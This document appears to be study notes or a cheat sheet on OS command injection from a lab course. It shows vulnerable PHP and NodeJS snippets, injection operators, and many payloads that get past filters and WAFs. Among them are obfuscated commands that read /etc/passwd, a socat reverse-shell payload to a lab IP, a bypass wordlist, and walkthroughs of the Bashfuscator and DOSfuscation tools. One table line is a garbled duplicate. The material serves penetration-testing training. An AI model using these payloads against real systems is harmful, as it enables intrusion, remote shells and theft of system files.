Command Injection

OS Command Injections

PHP Example

exec, system, shell_exec, passthru, or popen functions to execute commands

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

NodeJS Example

child_process.exec or child_process.spawn

app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

Detection

Injection Operator

Injection Character

URL-Encoded Character

Executed Command

Semicolon

;

%3b

Both

New Line

%0a

Both

Background

&

%26

Both (second output generally shown first)

Pipe

|

%7c

Both (only second output is shown)

AND

&&

%26%26

Both (only if first succeeds)

OR

|

%7c%7c

Second (only if first fails)

Sub-Shell

``

%60%60

Both (Linux-only)

Sub-Shell

$()

%24%28%29

Both (Linux-only)

;
%3b
\n
%0a
&
%26
|
%7c
&&
%26%26
||
%7c%7c
``
%60%60
$()
%24%28%29

Bypassing Front-End Validation

Intercept and add input

AND Operator

ping -c 1 127.0.0.1 && whoami

URL-encoding it - see Detection Table or Use Burp

%26%26

OR Operator

ping -c 1 || whoami

%7c%7c - see Detection Table or Use Burp

Execution if the first command fail

Operators

Injection Type

Operators

SQL Injection

' , ; -- /* */

Command Injection

; &&

LDAP Injection

* ( ) & |

XPath Injection

' or and not substring concat count

OS Command Injection

; & |

Code Injection

' ; -- /* */ $() ${} #{} %{} ^

Directory Traversal/File Path Traversal

../ ..\\ %00

Object Injection

; & |

XQuery Injection

' ; -- /* */

Shellcode Injection

\x \u %u %n

Header Injection

\r %0d %0a %09

er Injection| \r %0d %0a %09|

WAF

If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF.

Blacklisted Characters

$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}

Identifying Blacklisted Character

One at a time: 127.0.0.1; - Use URL encoding -see Detection Table or Use Burp

Bypassing Space Filters

Bypass Blacklisted Operators

The new-line character is usually not blacklisted, as it may be needed in the payload itself

Bypass Blacklisted Spaces

127.0.0.1%0a whoami

A space is a commonly blacklisted character, especially if the input should not contain any spaces

Using Tabs

Using tabs (%09) instead of spaces is a technique that may work

127.0.0.1%0a%09

Using $IFS

127.0.0.1%0a${IFS}

Using Brace Expansion

{ls,-la}

total 0
drwxr-xr-x 1 21y4d 21y4d   0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d   0 Jul 13 13:01 ..

127.0.0.1%0a{ls,-la}

More space filter bypass:

Bypassing Other Blacklisted Characters

Linux

One technique we can use for replacing slashes (or any other character) is through Linux Environment Variables

echo ${PATH:0:1}

/

127.0.0.1; ls /home

ip=127.0.0.1%0a%09ls%09${PATH:0:1}home

RS Socat

127.0.0.1%0a%27s%27o%27c%27a%27t%27${IFS}TCP4:10.10.14.119:8000${IFS}EXEC:bash

semi-colon character

echo ${LS_COLORS:10:1}

;

semi-colon and a space

127.0.0.1${LS_COLORS:10:1}${IFS}

Windows

slash - cmd:

echo %HOMEPATH:~6,-11%

\

slash - powershell

PS C:\htb> $env:HOMEPATH[0]

\

Character Shifting

slash

echo $(tr '!-}' '"-~'<<<[)

\

semi-colon

echo $(tr '[' ';'<<<[)

;

Bypassing Blacklisted Commands

Commands Blacklist

$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
    if (strpos('$_POST['ip']', $word) !== false) {
        echo "Invalid input";
    }
}

Linux & Windows

$ w'h'o'am'i

21y4d
$ w"h"o"am"i

21y4d

127.0.0.1%0aw'h'o'am'i

127.0.0.1%0a%09ls%09${PATH:0:1}home${PATH:0:1}1nj3c70r

cat - Invalid Input

127.0.0.1%0a%09c'a't%09${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

Linux Only

backslash \ and the positional parameter character $@ are ignored

who$@ami
w\ho\am\i

Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section?

Windows Only

caret (^)

C:\htb> who^ami

21y4d

Advanced Command Obfuscation

Case Manipulation

WHOAMI => WhOaMi

PS C:\htb> WhOaMi

21y4d
$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

21y4d

Replace space (blacklisted) with %09

$(a="WhOaMi";printf %s "${a,,}")

Reversed Commands

echo 'whoami' | rev
imaohw
$ $(rev<<<'imaohw')

21y4d

If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command.

PS C:\htb> "whoami"[-1..-20] -join ''

imaohw
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"

21y4d

Encoded Commands

echo -n 'cat /etc/passwd | grep 33' | base64

Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Tip: Note that we are using <<< to avoid using a pipe |, which is a filtered character.

Replace space (blacklisted) with %09

Even if some commands were filtered, like bash or base64, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like sh for command execution and openssl for b64 decoding, or xxd for hex decoding.

PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

dwBoAG8AYQBtAGkA
echo -n whoami | iconv -f utf-8 -t utf-16le | base64

dwBoAG8AYQBtAGkA
PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

21y4d

More Techniques

Obfuscated Commands

List of commands obfuscated as wordlist to test possible WAF filter bypass:

uname
u'n'a'm'e
${uname}
$(uname)
{uname}
{ls,-la}
who$@ami
w\ho\am\i
$(rev<<<'emanu')
bash<<<$(base64 -d<<<dW5hbWUgLWE=)
b'a's'h'<<<$('b'a's'e'6'4 -d<<<dW5hbWUgLWE=)
l's'${IFS}${PATH:0:1}${IFS}-a'l'

List from payloadallthethings (with some change)

cat${IFS}/etc/passwd
cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd
c'a't${IFS}/etc/passwd
c'a't${IFS}${PATH:0:1}etc${PATH:0:1}passwd
c'a't${IFS}${PATH:0:1}e't'c${PATH:0:1}p'a's's'wd
ls${IFS}-la
l's${IFS}-l'a
{cat,/etc/passwd}
cat</etc/passwd
c'a't</e't'c/p'a's's'w'd
cat<${PATH:0:1}etc${PATH:0:1}passwd
c'a't<${PATH:0:1}e't'c${PATH:0:1}p'a's's'w'd
;ls%09-al%09/home
ls%09-al%09/home
l's%09-a'l%09/h'o'm'e
l's%09-a'l%09{PATH:0:1}h'o'm'e
cat%20/et%5C%0Ac/pa%5C%0Asswd
cat%20{PATH:0:1}et%5C%0Ac{PATH:0:1}pa%5C%0Asswd
cat${HOME:0:1}etc${HOME:0:1}passwd
c'a't${HOME:0:1}etc${HOME:0:1}passwd
w'h'o'am'i
wh''oami
w"h"o"am"i
wh""oami
wh``oami
w\ho\am\i
/\b\i\n/////s\h
who$@ami
who$()ami
who$(echo am)i
who`echo am`i

Fuzzing - Cluster bomb

Evasion Tools

Linux (Bashfuscator)

$ git clone https://github.com/Bashfuscator/Bashfuscator
$ cd Bashfuscator
$ pip3 install setuptools==65
$ python3 setup.py install --user
$ cd ./bashfuscator/bin/
$ ./bashfuscator -h
$ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters
$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
$ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

root:x:0:0:root:/root:/bin/bash
...SNIP...

Windows (DOSfuscation)

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag

Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through pwsh. Run pwsh, and then follow the exact same command from above.

Payloads

Tools

Last updated